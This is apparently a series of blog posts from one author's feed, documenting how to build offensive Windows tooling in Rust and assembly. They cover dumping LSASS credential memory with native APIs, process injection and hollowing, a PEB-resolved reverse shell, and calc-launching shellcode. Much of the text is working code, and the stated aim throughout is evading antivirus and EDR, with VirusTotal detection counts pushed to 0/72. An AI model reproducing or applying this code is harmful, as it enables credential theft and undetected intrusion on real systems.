Forem: windasunnie

LSASS Memory Dumping Using Native Windows APIs

windasunnie — Thu, 02 Oct 2025 07:53:47 +0000

Using low-level Windows Native API functions dump LSASS process memory

Prerequisites: Enabling SeDebugPrivilege

Since lsass.exe is a protected system process, we must first enable the SeDebugPrivilege to gain the necessary permissions. This privilege allows our process to open handles to protected processes and read their memory.

Step 1: Enumerating Running Processes

We use the NtQuerySystemInformation API with the SystemProcessInformation (value: 5) information class to retrieve an array of SYSTEM_PROCESS_INFORMATION structures containing details about all running processes. Replace using CreateToolhelp32Snapshot create snapshot.

let status = unsafe {
    NtQuerySystemInformation(
        5, // SystemProcessInformation
        buffer.as_mut_ptr() as *mut c_void,
        length,
        &mut length,
    )
};

The SYSTEM_PROCESS_INFORMATION structure contains various process details, including the process name stored in Unicode format:

pub struct SystemProcessInformation {
    ...
    pub image_name: UnicodeString,
    ...
}

I iterate through the returned structures in a while loop, searching for the process with the image name matching "lsass.exe".

To make the process names human-readable, we convert the Unicode strings to standard Rust strings. This conversion will later be replaced with DJB2 hash-based obfuscation for evasion purposes.

if !name_addr.is_null() && name_len > 0 {
    let wide_slice: &[u16] = core::slice::from_raw_parts(
        name_addr as *const u16,
        (name_len / 2) as usize
    );
    let os = std::ffi::OsString::from_wide(wide_slice);
    let name = os.to_string_lossy().into_owned();
    // println!("Process name = {}", name);
    // println!("Name Addr: {:?}", name_addr);
    // println!("Name len: {}", name_len);
    ...
}

Step 2: Querying LSASS Process Information

Once we obtain a handle to the lsass.exe process, we need to locate the lsasrv.dll module, which contains the credential storage mechanisms. We use NtQueryInformationProcess with the ProcessBasicInformation class (value: 0) to retrieve the Process Environment Block (PEB) address.

Use NtQueryInformationProcess query lsass.exe process information

let mut status = unsafe {
    NtQueryInformationProcess(
        process_handle as *mut c_void,
        0, // ProcessBasicInformation
        &mut process_information as *mut _ as *mut c_void,
        core::mem::size_of::<ProcessBasicInformation>() as u32,
        &mut return_length,
    )
};

Step 3: Traversing the PEB to Find lsasrv.dll

Since we're querying another process's memory space, we cannot directly access its PEB. Instead, we must read the target process's virtual memory using NtReadVirtualMemory. By traversing the PEB structure and reading the loader data structures, we can enumerate loaded modules and locate lsasrv.dll.

let status = unsafe {
    NtReadVirtualMemory(
        process_handle,
        mem_address,
        buffer.as_mut_ptr() as *mut c_void,
        buffer.len(),
        &mut bytes_read,
    )
};

Step 4: Querying Virtual Memory Information

After locating the lsasrv.dll base address, we use NtQueryVirtualMemory to retrieve detailed information about the memory regions.

let result = unsafe {
    NtQueryVirtualMemory(
        process_handle,
        base_address,
        0,
        &mut mem_info as *mut _ as *mut c_void,
        core::mem::size_of::<MemoryBasicInformation>() as usize,
        null_mut()
    )
};

Understanding Windows Virtual Memory Structure

Windows virtual memory is organized into pages, with the standard page size being 4KB (0x1000 bytes). A process's virtual address space is divided into numerous pages, each with its own state, protection attributes, and base address.

MEMORY_BASIC_INFORMATION Structure

When calling VirtualQueryEx (or NtQueryVirtualMemory), the system returns a MEMORY_BASIC_INFORMATION structure containing critical fields:

BaseAddress: The starting virtual address of the memory region
RegionSize: The size of this region (typically multiple pages combined)
State:
The allocation state of the memory:
- MEM_COMMIT: Memory is allocated and backed by physical pages (accessible)
- MEM_RESERVE: Address space is reserved but not backed by physical memory
- MEM_FREE: Memory is not allocated
Protect: Access permissions for the pages:
- PAGE_NOACCESS: No access allowed
- PAGE_READONLY: Read-only access
- PAGE_READWRITE: Read and write access
- PAGE_EXECUTE_READWRITE: Execute, read, and write access
- PAGE_GUARD: Guard page for debugging or exception triggering

let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };

let result = unsafe {
    NtQueryVirtualMemory(
        process_handle,
        base_address,
        0,
        &mut mem_info as *mut _ as *mut c_void,
        core::mem::size_of::<MemoryBasicInformation>() as usize,
        null_mut()
    )
};

Step 5: Filtering Valid Memory Regions

We establish the boundaries for memory scanning:

// Initialize variables for memory region traversal and dumping.
let mut memory_address: usize = 0; // Start memory address for dumping.
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // Maximum user-mode

We need to skip unreadable or unallocated memory blocks. We only process memory regions that are committed (MEM_COMMIT) and have at least some access permissions (not PAGE_NOACCESS).

if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
    ...
}

Handling Memory Region Boundaries

NtQueryVirtualMemory returns a region that may contain one or multiple pages. Sometimes a region is only one page size (0x1000 bytes), which typically indicates:

Special protection boundaries
Guard pages
Specific allocation patterns

When performing memory dumps or module scanning, we need to merge adjacent regions to correctly capture complete modules.

Region Merging Logic

We check if region_size equals 0x1000. If so, this typically indicates the beginning of a new module. We then accumulate subsequent regions. Finally, we use NtReadVirtualMemory to convert the memory region into raw bytes and write them to our dump buffer.

Step 6: Creating a Minidump File

The final step involves constructing a binary file similar to a Windows minidump (MDMP format) with the following structure:

Header (fixed 32 bytes, including signature "MDMP")
Stream Directory (each stream entry = 12 bytes: streamType (u32), size (u32), offset (u32))
SystemInfo Stream (fixed 56 bytes implementation, varies by OS version)
ModuleList Stream (contains module entries + module path blocks)
Memory64List Stream (contains memory-region list + offset pointing to actual memory bytes)
regions_memdump (actual memory bytes read, placed at the end of the file)

Testing and Results

We can verify the dump file using pypykatz:

C:\> pypykatz lsa minidump hello.dmp

Examining the Import Address Table (IAT)

Using PeStudio to inspect the IAT reveals the imported functions:

The detection is likely due to not implementing DJB2 or other hash-based obfuscation methods for API calls.

Antivirus Evasion Results

Initial VirusTotal scan detected 1/72:

However, rule-based detection systems are relatively easy to bypass. After minor modifications and re-uploading, the detection rate dropped to 0/72:

Exploring Process Injection, Hollowing, and Shellcode Execution in Windows

windasunnie — Wed, 10 Sep 2025 09:25:42 +0000

Since reverse shell files typically transmit non-HTTP requests, I developed a separate payload to dump the lsass.exe process.

Dump lsass

First, I obtain a snapshot to locate the PID of lsass.exe, then use OpenProcess to establish a handle:

// 2. Call OpenProcess (PROCESS_ALL_ACCESS), get lsass.exe handle

let lsass_handle = OpenProcess(
    PROCESS_ALL_ACCESS,
    0,
    lsass_pid
);

I then utilize the MiniDumpWriteDump function

let success = MiniDumpWriteDump(
    lsass_handle,
    lsass_pid,
    dump_file.as_raw_handle() as windows_sys::Win32::Foundation::HANDLE,
    dump_type,
    null(),
    null(),
    null()
);

The dump of lsass.exe was successfully obtained.

Using PEStudio to analyze the Import Address Table (IAT)

As shown here, the Import Address Table (IAT) clearly contains suspicious function calls such as MiniDumpWriteDump, which are easily identifiable indicators of malicious behavior.

VirusTotal Analysis:

Detection rate: 8/72

Notably, Microsoft's Defender flagged the sample on VirusTotal, while most other AV and EDR vendor engines did not mark it as malicious.

The analysis also flagged the dumping of sensitive information files.

Valloc

The executable file was converted into a raw binary format.

I leveraged VirtualAlloc to allocate a region of memory with executable permissions, into which the shellcode was written and subsequently executed.

VirusTotal:

Detection rate: 36/72

By using x64dbg’s trace feature, it is easy to quickly observe when kernel32.dll calls VirtualAlloc.

Valloc pointer

Detection rate: 30/72

Also easy to observe kernel32.dll calls VirtualAlloc by x64dbg.

Process Injection

I use OpenProcess open a handle, allocate executable memory, then write shellcode into the allocated memory. Execute the shellcode with a remote thread.

VirusTotal:

Detection rate: 23/72

Using x64dbg, it is straightforward to observe kernel32.dll invoking VirtualAlloc.

WriteProcessMemory

CreateRemoteThread

Process Hollowing

VirusTotal:

Detection rate: 22/72

Similarly as process injection, but not use VirtualAlloc.

Process Hollowing Antistring

In order to evade EDR monitoring, I employ unhooking methods to bypass hooked APIs.

VirusTotal:

Detection rate: 5/72 (!)

I rename the dump file to txt extension file. But still get rate 5/72

CrowdStrike Falcon change Win/malicious_confidence_70% (D) to Win/malicious_confidence_60% (D)

Bypass Sigma Rules!

2025/09/23 Edit:

After re-analyzing the sample on September 18, I observed clear shellcode indicators.

The Next

I’ve decided not to convert the payload to shellcode for now. Instead, I will resolve all Win32 APIs to native/syscall entry points and, without using MiniDumpWriteDump, collect LSASS process data and extract the required artifacts directly from memory.

Building a Reverse Shell in Rust Using PEB Techniques

windasunnie — Tue, 03 Jun 2025 16:30:12 +0000

This post documents my exploration of implementing a reverse shell in Rust, starting from a standard API approach, and gradually shifting toward a stealthier variant that leverages manual parsing of the Process Environment Block (PEB). The goal is to reduce detection by Antivirus (AV) and Endpoint Detection and Response (EDR) engines.

Initial Implementation: Traditional API Call Chain

To begin, I created a basic reverse shell using the typical Windows API calls. The logic flow is straightforward and relies on functions exposed by common system libraries like Ws2_32.dll and kernel32.dll.

Reverse Shell Flow

WSASocket
↓
inet_pton
↓
connect
↓
GetSystemDirectoryA
↓
Initialize STARTUPINFOA
↓
Set lpCommandLine
↓
Initialize SECURITY_ATTRIBUTES
↓
CreateProcessA
↓
Finish

WSASocket / connect / inet_pton: Used to set up a TCP connection to the remote host.
GetSystemDirectoryA: Retrieves the system path, used to locate cmd.exe.
STARTUPINFOA / SECURITY_ATTRIBUTES / CreateProcessA: Used to spawn a new process (cmd.exe) with redirected input/output over the socket.

After compiling the shell, I submitted the resulting binary to VirusTotal. The community score was 28/72 — meaning 28 out of 72 AV/EDR engines flagged the executable as malicious. Most detections explicitly identified it as a reverse shell, which is expected due to the predictable API usage.

Improved Version: PEB-Based API Resolution

To evade static detection signatures, I rewrote the shell to resolve necessary APIs dynamically by walking the PEB instead of relying on the standard Windows API imports. This eliminates the need for a conventional import table and makes detection more difficult for AV engines relying on heuristic patterns or IAT analysis.

Revised Flow with Manual API Resolution

WSAStartup (resolved from PEB)
↓
WSASocket (resolved from PEB)
↓
inet_pton (resolved from PEB)
↓
connect (resolved from PEB)
↓
GetSystemDirectoryA (resolved from PEB)
↓
Initialize STARTUPINFOA
↓
Set lpCommandLine
↓
Initialize SECURITY_ATTRIBUTES
↓
CreateProcessA (resolved from PEB)
↓
Finish

All API addresses were resolved manually by parsing the export tables of kernel32.dll and Ws2_32.dll, accessed through the PEB.
No functions were declared in the import table, making the binary significantly harder to analyze via static disassembly or automated AV heuristics.

The resulting binary was again uploaded to VirusTotal. This time, the detection score dropped drastically to 2/72, with only Google and IKARUS flagging the file as suspicious. This demonstrates a significant improvement in stealthiness — achieved purely through API obfuscation and avoiding direct imports.

Today, I obtained a new VirusTotal scan result — this time, the detection score dropped to 11 out of 66.

Traverse the Process Environment Block (PEB) in Rust

windasunnie — Fri, 02 May 2025 10:05:27 +0000

A few days ago, we demonstrated how to call calc.exe by walking the PEB manually. But why isn't assembly code more widely used in the wild, especially in offensive tooling?

Assembly has several major drawbacks:

Easy to write, hard to read
Hard to maintain (an actual nightmare)
Difficult to compose or reuse
Painful to debug

In short, it’s only “good” for writing once—and then you hope you never have to read it again.

Why Rust?

Rust offers powerful memory safety guarantees while still allowing low-level control. It’s a great fit for scenarios like shellcode loading, manual API resolution, and process injection—situations where C or C++ might traditionally be used.

Sounds promising? Let’s give it a shot!

⚠️ Warning: This requires manually defining C-style structures such as PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, IMAGE_DOS_HEADER, and IMAGE_NT_HEADERS, and heavy use of unsafe blocks.

Overview: Manual API Resolution via the PEB

Process

NtCurrentTeb() -> PEB
→
PEB_LDR_DATA
→
InMemoryOrderModuleList
→
Find kernel32.dll
→
Parse PE header → Export Directory
→
Find AddressOfNames, AddressOfNameOrdinals, AddressOfFunctions
→
Match function name, resolve VA from RVA

Step-by-Step Walkthrough

Walking the PEB

fn get_peb() ->*mut PEB {
    let mut peb: *mut PEB;
    unsafe {
        asm!(
           "mov {peb}, gs:[0x60]",
            peb = out(reg) peb,
        );
    }
    peb
}

Accessing PEB_LDR_DATA

let peb = get_peb();
if peb.is_null() {
    return None;
}

let ldr = (*peb).loader_data;
if ldr.is_null() {
    return None;
}

Walking InMemoryOrderModuleList to Find kernel32.dll

let list = &(*ldr).in_memory_order_module_list;
let list_head = list as *const _ as usize;
let mut link = list.flink;

while (link as usize) != list_head {
    let entry = (link as usize - offset_of!(LoaderDataTableEntry, in_memory_order_links))
        as *mut LoaderDataTableEntry;

    if entry.is_null() {
        break;
    }

    let base = (*entry).dll_base;
    let name = &(*entry).base_dll_name;
    let name_slice = std::slice::from_raw_parts(name.buffer, (name.length / 2) as usize);
    let name_str = String::from_utf16_lossy(name_slice);

    if name_str.to_lowercase().contains("kernel32.dll") {
        println!("[+] kernel32.dll base: {:p}", base);
        return Some(base as *mut c_void);
    }

    link = (*link).flink;
}

Parsing the Export Table

unsafe fn get_export_directory(kernel32_base: *mut u8) -> *const ImageExportDirectory {
    let dos_header = kernel32_base as *const ImageDosHeader;
    let nt_header = kernel32_base.add((*dos_header).e_lfanew as usize) as *const ImageNtHeaders;
    let export_directory_rva = (*nt_header).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize].virtual_address;
    kernel32_base.add(export_directory_rva as usize) as *const ImageExportDirectory
}

Finding WinExec

unsafe fn find_function(kernel32_base: *mut u8, function_name: &str) -> *mut u8 {
    let export_directory = get_export_directory(kernel32_base);

    let name_rva = (*export_directory).address_of_names;
    let names = kernel32_base.offset(name_rva as isize) as *const u32;

    let ordinals_rva = (*export_directory).address_of_name_ordinals;
    let ordinals = kernel32_base.offset(ordinals_rva as isize) as *const u16;

    let function_rva = (*export_directory).address_of_functions;
    let functions = kernel32_base.offset(function_rva as isize) as *const u32;

    for i in 0..(*export_directory).number_of_names {
        let name_rva = *names.offset(i as isize);
        let name_ptr = kernel32_base.offset(name_rva as isize) as *const i8;
        let name = std::ffi::CStr::from_ptr(name_ptr).to_str().unwrap();

        if name == function_name {
            let ordinal = *ordinals.offset(i as isize);
            let func_rva = *functions.offset(ordinal as isize);
            return kernel32_base.offset(func_rva as isize);
        }
    }
    null_mut()
}

let winexec_addr = find_function(kernel32_base, "WinExec");

Full Code Example

#![feature(asm)]
#[warn(unused_imports)]
#[warn(unsafe_op_in_unsafe_fn)]

use core::arch::asm;
use std::{ffi::{c_void, CString}, mem::transmute, ptr::null_mut};
use memoffset::offset_of;

mod utils;
use utils::{PEB, LoaderDataTableEntry, ImageExportDirectory, ImageDosHeader, ImageNtHeaders};

const IMAGE_DIRECTORY_ENTRY_EXPORT: usize = 0;

fn get_peb() ->*mut PEB {
    let mut peb: *mut PEB;
    unsafe {
        asm!(
           "mov {peb}, gs:[0x60]",
            peb = out(reg) peb,
        );
    }
    peb
}

unsafe fn find_kernel32_base() -> Option<*mut c_void>{
    let peb = get_peb();
    if peb.is_null() {
        return None;
    }

    let ldr = (*peb).loader_data;
    if ldr.is_null() {
        return None;
    }

    let list = &(*ldr).in_memory_order_module_list;
    let list_head = list as *const _ as usize;

    let mut link = list.flink;
    while (link as usize) != list_head {
        let entry = (link as usize - offset_of!(LoaderDataTableEntry, in_memory_order_links))
            as *mut LoaderDataTableEntry;

        if entry.is_null() {
            break;
        }

        let base = (*entry).dll_base;
        let name = &(*entry).base_dll_name;
        let name_slice = std::slice::from_raw_parts(name.buffer, (name.length / 2) as usize);
        let name_str = String::from_utf16_lossy(name_slice);

        if name_str.to_lowercase().contains("kernel32.dll") {
            println!("[+] kernel32.dll base: {:p}", base);
            return Some(base as *mut c_void);
        }

        link = (*link).flink;
    }

    None
}

unsafe fn get_export_directory(kernel32_base: *mut u8) -> *const ImageExportDirectory {
    let dos_header = kernel32_base as *const ImageDosHeader;
    let nt_header = kernel32_base.add((*dos_header).e_lfanew as usize) as *const ImageNtHeaders;
    let export_directory_rva = (*nt_header).optional_header.data_directory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize].virtual_address;
    kernel32_base.add(export_directory_rva as usize) as *const ImageExportDirectory
}

unsafe fn find_function(kernel32_base: *mut u8, function_name: &str) -> *mut u8 {
    let export_directory = get_export_directory(kernel32_base);

    let name_rva = (*export_directory).address_of_names;
    let names = kernel32_base.offset(name_rva as isize) as *const u32;

    let ordinals_rva = (*export_directory).address_of_name_ordinals;
    let ordinals = kernel32_base.offset(ordinals_rva as isize) as *const u16;

    let function_rva = (*export_directory).address_of_functions;
    let functions = kernel32_base.offset(function_rva as isize) as *const u32;

    for i in 0..(*export_directory).number_of_names {
        let name_rva = *names.offset(i as isize);
        let name_ptr = kernel32_base.offset(name_rva as isize) as *const i8;
        let name = std::ffi::CStr::from_ptr(name_ptr).to_str().unwrap();

        if name == function_name {
            let ordinal = *ordinals.offset(i as isize);
            let func_rva = *functions.offset(ordinal as isize);
            return kernel32_base.offset(func_rva as isize);
        }
    }
    null_mut()
}


fn main() {
    unsafe {
        let kernel32_base = match find_kernel32_base() {
            Some(ptr) => {
                println!("Found kernel32.dll base at {:p}", ptr);
                ptr as *mut u8
            }
            None => {
                println!("kernel32.dll not found");
                return;
            }
        };

        // Find WinExec from export table
        let get_proc_address = find_function(kernel32_base, "GetProcAddress");
        let load_library_a = find_function(kernel32_base, "LoadLibraryA");
        let winexec_addr = find_function(kernel32_base, "WinExec");
        let exitprocess_addr = find_function(kernel32_base, "ExitProcess");

        println!("GetProcAddress address: {:p}", get_proc_address);
        println!("LoadLibraryA address: {:p}", load_library_a);
        println!("WinExec address: {:p}", winexec_addr);

        let winexec: extern "system" fn(*const i8, u32) -> u32 = transmute(winexec_addr);
        let exitprocess: extern "system" fn(u32) -> ! = transmute(exitprocess_addr);

        let calc_string = CString::new(r"C:\Windows\System32\calc.exe").unwrap();

        let call_calc = winexec(calc_string.as_ptr(), 1);
        println!("WinExec returned: {:#x}", call_calc);

        exitprocess(0);
    };
}

Comparison: Rust vs Assembly

Compiled Rust Binary


$ cargo build --release

$ ls calc.exe
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       2025/5/2   05:35 PM        165376 calc.exe

Assembly Binary

$ ls .\asm.exe
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       2025/5/2   05:37 PM        127488 asm.exe

Without using the standard library (#![no_std]), the binary size is surprisingly close to its assembly counterpart.

Calling calc.exe in Pure Shellcode by Walking the PEB

windasunnie — Fri, 18 Apr 2025 09:16:26 +0000

Continue paste post: Shellcode - Why Cannot Use C Write Shellcode

Improvement:

PEB Traversal
Dynamic API Resolution

PEB Traversal

What is the PEB?

The Process Environment Block (PEB) is a data structure that stores process-wide information. It is a member of the Thread Environment Block (TEB) and contains information about the process, including a linked list of all loaded modules.

How to Get the PEB Pointer?

Module enumeration typically starts from the PEB, so retrieving its pointer is the first step. The PEB pointer resides within the TEB, and the TEB pointer is located at fs:[0x18] on x86 or gs:[0x30] on x64 systems.

Common Methods to Access TEB/PEB:

Debugger View (e.g., x64dbg, WinDbg) : View the fs/gs register — it points to the TEB. Then follow the offset to get the PEB.
Disassemble or Examine Memory Layouts : Use TEB struct layout to locate the PEB.
Accessing via Segment Register

TEB and TIB Layout

# ref: https://www.vergiliusproject.com/kernels/x64/windows-11/24h2/_NT_TIB32
struct _NT_TIB32 {
    ULONG ExceptionList;         // 0x00
    ULONG StackBase;             // 0x04
    ULONG StackLimit;            // 0x08
    ULONG SubSystemTib;          // 0x0C
    union {
        ULONG FiberData;         // 0x10
        ULONG Version;
    };
    ULONG ArbitraryUserPointer;  // 0x14
    ULONG Self;                  // 0x18 <- fs:[0x18] = TEB pointer
};

# ref: https://www.vergiliusproject.com/kernels/x64/windows-11/24h2/_TEB32
struct _TEB32 {
    struct _NT_TIB32 NtTib;      // 0x00
    ULONG EnvironmentPointer;    // 0x1C
    struct _CLIENT_ID32 ClientId;// 0x20
    ULONG ActiveRpcHandle;       // 0x28
    ULONG ThreadLocalStoragePointer; // 0x2C
    ULONG ProcessEnvironmentBlock;   // 0x30 <- fs:[0x30] = PEB pointer
    ...
};

TIB struct is included in TEB as the first member, so the first address of TIB is the first address of TEB.

Dynamic API Resolution

Retrieving Kernel32.dll Base Address

Using PowerShell:

Get-Process -Id 1300 | ForEach-Object {
    $_.Modules | Where-Object { $_.ModuleName -like "kernel32.dll" } |
    Select-Object ModuleName, @{Name="BaseAddress"; Expression={$_.BaseAddress.ToString("X")}}, FileName
}

Using x64dbg:

Using WinDbg (Follow Pointer Chain):

TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDll

Export Table Traversal Flow

When resolving functions like WinExec dynamically, the process is:

Access Kernel32 Base Address
Parse PE Headers
- Locate IMAGE_DOS_HEADER at DllBase
- Use e_lfanew to find IMAGE_NT_HEADERS
- Locate the Export Directory via Optional Header → DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
Resolve API
- Parse Export Directory
- Match target name in Name Table
- Retrieve its Ordinal
- Use Ordinal to index Function Address Table
- Resolve absolute address = DllBase + Function RVA

WinDbg/Memory Viewer Visuals

1. Displaying the Thread Environment Block (TEB) Structure

Locating the PEB: The TEB contains a pointer to the PEB (PEB* ProcessEnvironmentBlock), which is essential for finding loaded modules (e.g., kernel32.dll).

2. Displaying the Process Environment Block (PEB) Structure

Process Environment Block (PEB) is a fundamental Windows structure containing process-wide data such as:
• Loaded Modules (DLLs) via PEB_LDR_DATA* Ldr
• Command-line Arguments
• Heap Information
• Binary Image Base Address

3. Analyzing the PEB_LDR_DATA Structure for Module Enumeration

Displays the PEB_LDR_DATA structure, a critical part of the Process Environment Block (PEB) that manages loaded modules (DLLs/EXEs) in a process. This structure contains three doubly linked lists used to track modules in different load orders:

a. InLoadOrderModuleList – Lists modules in the order they were loaded.
b. InMemoryOrderModuleList – Lists modules in the order they appear in memory.
c. InInitializationOrderModuleList – Lists modules in the order they were initialized.

4. Analyzing the _LDR_DATA_TABLE_ENTRY Structure

The _LDR_DATA_TABLE_ENTRY structure contains critical information about each loaded module (DLL/EXE) in a process.

Key Fields Explained:

a. DllBase: The base address of the loaded module (essential for finding exported functions)
b. FullDllName/BaseDllName: The module's path and filename (e.g., "C:\Windows\System32\kernel32.dll")
c. InXXXOrderLinks: Linked list entries for different load orders
d. SizeOfImage: The module's size in memory

5. Examining the _IMAGE_DATA_DIRECTORY Structure

The _IMAGE_DATA_DIRECTORY structure is a fundamental part of the Portable Executable (PE) file format in Windows. It describes a data directory entry in the PE header, which points to critical sections of a binary (EXE/DLL), such as:

Export Table (for API functions)
Import Table (for dependencies)
Base Relocation Table (for ASLR)
Debug Information
TLS (Thread Local Storage) Data

6. Analyzing PE Headers with _IMAGE_DOS_HEADER

The _IMAGE_DOS_HEADER structure is the starting point of every PE (Portable Executable) file (EXE/DLL). When examining it at a module's base address (e.g., kernel32.dll), you can:
a. Validate the PE file signature (e_magic = 0x5A4D → "MZ").
b. Locate the NT headers via e_lfanew (offset to _IMAGE_NT_HEADERS).

7. Analyzing 64-bit PE NT Headers (_IMAGE_NT_HEADERS64)

The _IMAGE_NT_HEADERS64 structure defines the core metadata of a 64-bit PE file, including:

PE Signature ("PE\0\0")
File Header (_IMAGE_FILE_HEADER)
Optional Header (_IMAGE_OPTIONAL_HEADER64) — Contains critical data directories (exports, imports, relocations).

8. Analyzing 64-bit PE Optional Header (_IMAGE_OPTIONAL_HEADER64)

The _IMAGE_OPTIONAL_HEADER64 structure contains critical metadata for 64-bit PE files, including:

Image base address (AddressOfEntryPoint, ImageBase)
Section alignment/sizes (SectionAlignment, FileAlignment)
Data directories (exports, imports, relocations, TLS, etc.)

This is where you find the RVA (Relative Virtual Address) of key structures like the Export Directory

9. Dumping PE Data Directories

Get the RVA (Relative Virtual Address) and size of 16 PE data directories

10. Analyze Export Directory

11. List All function

PE Parsing Reference

Offset	Description
0x3c into the file	RVA of PE signature
0x78 bytes after PE signature	RVA of Export Table
0x14 into the Export Table	Number of functions exported by a module
0x1c into the Export Table	RVA of Address Table - addresses of exported functions
0x20 into the Export Table	RVA of Name Pointer Table - addresses of exported function names
0x24 into the Export Table	RVA of Ordinal Table - function order number as listed in the table

Get AddressOfNames RVA - 00091afc

12. Dump AddressOfNames

Compare the first 8 bytes to see if it is "GetProcA"
...
TOO MUCH!!
Let's change to tool named PEView

13. Export Table - Number of Exported Functions

In this case, RVA contains 643 functions that module kernel32.dll export.

WinExec RVA is 000A48D3

ExitProcess RVA is 0009D4DE

Direct get process base address

GetProcAddress

WinExec

ExitProcess

Note: Some functions are forwarded/thunked; symbols may refer to implementation aliases like ExitProcessImplementation.

Manually Resolving API Addresses from PEB (x64 Shellcode Style)

Overview

This above explains how to manually resolve function addresses such as WinExec, LoadLibraryA, and ExitProcess from within a shellcode or assembly stub. We walk through parsing the PEB (Process Environment Block), traversing the loader's module list, parsing the PE headers, and locating the desired API in the Export Address Table of kernel32.dll.

Process Flow

Obtain kernel32.dll Base Address from the PEB
Parse PE Structure starting from the base address:
- DOS Header → NT Header (via offset 0x3C)
- NT Header → Optional Header → Data Directory → Export Directory
Parse Export Directory to:
- Locate the function name (WinExec, etc.) via the Name Pointer Table
- Resolve its ordinal
- Use the ordinal to get the RVA from the AddressOfFunctions table
- Add RVA to the DLL base address → function's actual memory address

Get PEB (Process Environment Block) Address (x64):

In x64 Windows, the PEB is accessible via the GS segment register. GS:[0x60] points directly to the PEB structure.

xor rcx, rcx                  ; RCX = 0
mov rax, [gs:rcx + 0x60]

Access `PEB_LDR_DATA`

Offset 0x18 within the PEB points to the Ldr field, which holds module loader information.

mov rax, [rax + 0x18]         ; PEB -> Ldr (PEB_LDR_DATA)

Get InMemoryOrderModuleList

This doubly-linked list at offset 0x20 of PEB_LDR_DATA contains entries for all loaded modules.

mov rsi, [rax + 0x20]         ; Ldr -> InMemoryOrderModuleList.Flink

Traverse Module List

Each node in the list is a _LDR_DATA_TABLE_ENTRY. Modules are typically ordered as:

Executable itself
ntdll.dll
kernel32.dll

lodsq                         ; Load first module (ntdll.dll) into RAX, increment RSI
xchg rax, rsi                 ; Swap RAX and RSI (now RSI points to next module)
lodsq                         ; Load second module (kernel32.dll) into RAX

Get Base Address of kernel32.dll

The DllBase field at offset 0x20 of the _LDR_DATA_TABLE_ENTRY gives the base address.

mov rbx, [rax + 0x20]         ; LDR_DATA_TABLE_ENTRY + 0x20 = DllBase (kernel32.dll 的 base address)

Parse Export Table

We now locate the Export Directory inside the PE header of kernel32.dll.

; Search Export Table
xor r8, r8                    ; R8 = 0
mov r8d, [rbx + 0x3c]         ; Get PE header offset (e_lfanew at offset 0x3C)
mov rdx, r8                   ; Copy PE header offset to RDX
add rdx, rbx                  ; Calculate PE header address (base + offset)

mov r8d, [rdx + 0x88]         ; Get Export Table RVA (offset 0x88 in PE header)
add r8, rbx.                  ; Calculate Export Table address (base + RVA)

Locate Function Name

We want to find the address of GetProcAddress.

; Search Name Pointer Table, prepare to find function name
xor rsi, rsi                  ; RSI = 0
mov esi, [r8 + 0x20]          ; AddressOfNames (offset 0x20 in Export Table)
add rsi, rbx                  ; Calculate Name Pointer Table address (base + RVA)
xor rcx, rcx                  ; Zero out RCX (will be used as counter)

mov r9, 0x41636f7250746547    ; Prepare first 8 bytes of "GetProcA" for comparison (little-endian)

; Find GetProcAddress in function name
Get_Function:

inc rcx                       ; Increment function counter
xor rax, rax                  ; RAX = 0
mov eax, [rsi + rcx * 4]      ; Get RVA of function name (array of 4-byte RVAs)
add rax, rbx                  ; Calculate function name address (base + RVA)
cmp QWORD [rax], r9           ; Compare first 8 bytes is "GetProcA"
jnz Get_Function              ; If not matched, continue searching

xor rsi, rsi                  ; RSI = 0
mov esi, [r8 + 0x24]          ; AddressOfNameOrdinals (offset 0x24 in Export Table)
add rsi, rbx                  ; Calculate Ordinal Table address (base + RVA)
mov cx, [rsi + rcx * 2]       ; Get function ordinal (array of 2-byte values)
xor rsi, rsi                  ; RSI = 0
mov esi, [r8 + 0x1c]          ; AddressOfFunctions (offset 0x1C in Export Table)
add rsi, rbx                  ; Calculate Address Table address (base + RVA)
xor rdx, rdx                  ; RDX = 0
mov edx, [rsi + rcx * 4]      ; Get function RVA (array of 4-byte RVAs)
add rdx, rbx                  ; Calculate function address (base + RVA)
mov rdi, rdx                  ; Store GetProcAddress address in RDI

Use GetProcAddress to get LoadLibraryA address

; Use GetProcAddress to get LoadLibraryA address
getprocaddr:
mov rcx, 0x41797261           ; Prepare second part of "LoadLibraryA" string ("aryA")
push rcx                      ; Push to stack
mov rcx, 0x7262694c64616f4c.  ; Prepare first part of "LoadLibraryA" string ("LoadLibr")
push rcx                      ; Push to stack
mov rdx, rsp                  ; RDX points to "LoadLibraryA" string on stack
mov rcx, rbx                  ; RCX contains kernel32.dll base address
sub rsp, 0x30                 ; Allocate shadow space (32 bytes) + align stack
call rdi                      ; Call GetProcAddress(kernel32.dll, "LoadLibraryA")
add rsp, 0x30                 ; Restore stack pointer
add rsp, 0x10                 ; Clean up string from stack (16 bytes)
mov rsi, rax                  ; Store LoadLibraryA address in RSI

Continue: Resolve WinExec, ExitProcess, etc.
Repeating the steps: locate name in Export Table → get ordinal → get RVA → resolve to VA.

Here's the link to the full code — thanks to nevernever69 for providing the ultimate code to the call calc.exe shellcode.

Shellcode call calc.exe - Why cannot use C write shellcode

windasunnie — Wed, 16 Apr 2025 11:36:41 +0000

Why C-Based Code Cannot Be Used as Shellcode

Using C to Build a `calc.exe` Executable

#include <windows.h>
#include <stdio.h>

int main() {
    WinExec("calc.exe", SW_SHOW);
    return 0;
}

Then extract the .text section using objcopy:

x86_64-w64-mingw32-objcopy -O binary --only-section=.text exec_calc.exe exec_calc.bin

Disassemble with ndisasm

ndisasm -b 64 exec_calc.bin

From the disassembly, we can observe:

NOP Padding – Instructions such as nop word [cs:rax+rax+0x0] are inserted by the compiler for alignment or anti-disassembly purposes.
Strong Dependencies – Frequent usage of rel instructions (e.g., mov rax, [rel 0x34a0]) and API calls via the Import Address Table (IAT), such as jmp [rel 0x72ac] for WinExec.
Indirect Jumps – Instructions like FF25 (e.g., jmp [rel 0x72ac]) rely on fixed addresses in the import table, indicating tight coupling with the PE loader.
